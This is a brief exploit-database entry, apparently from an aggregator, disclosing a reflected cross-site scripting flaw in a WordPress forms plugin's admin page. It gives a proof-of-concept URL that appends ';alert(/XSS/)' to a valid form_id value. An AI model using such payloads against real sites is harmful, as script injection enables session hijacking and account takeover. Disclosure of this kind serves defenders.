## https://sploitus.com/exploit?id=WPEX-ID:BF72F817-C0F3-4692-9A62-639A3B1414D5 The form_id digits before the payload must be valid: https://example.com/wp-admin/admin.php?page=smuz-forms&form_id=1242;alert(/XSS/)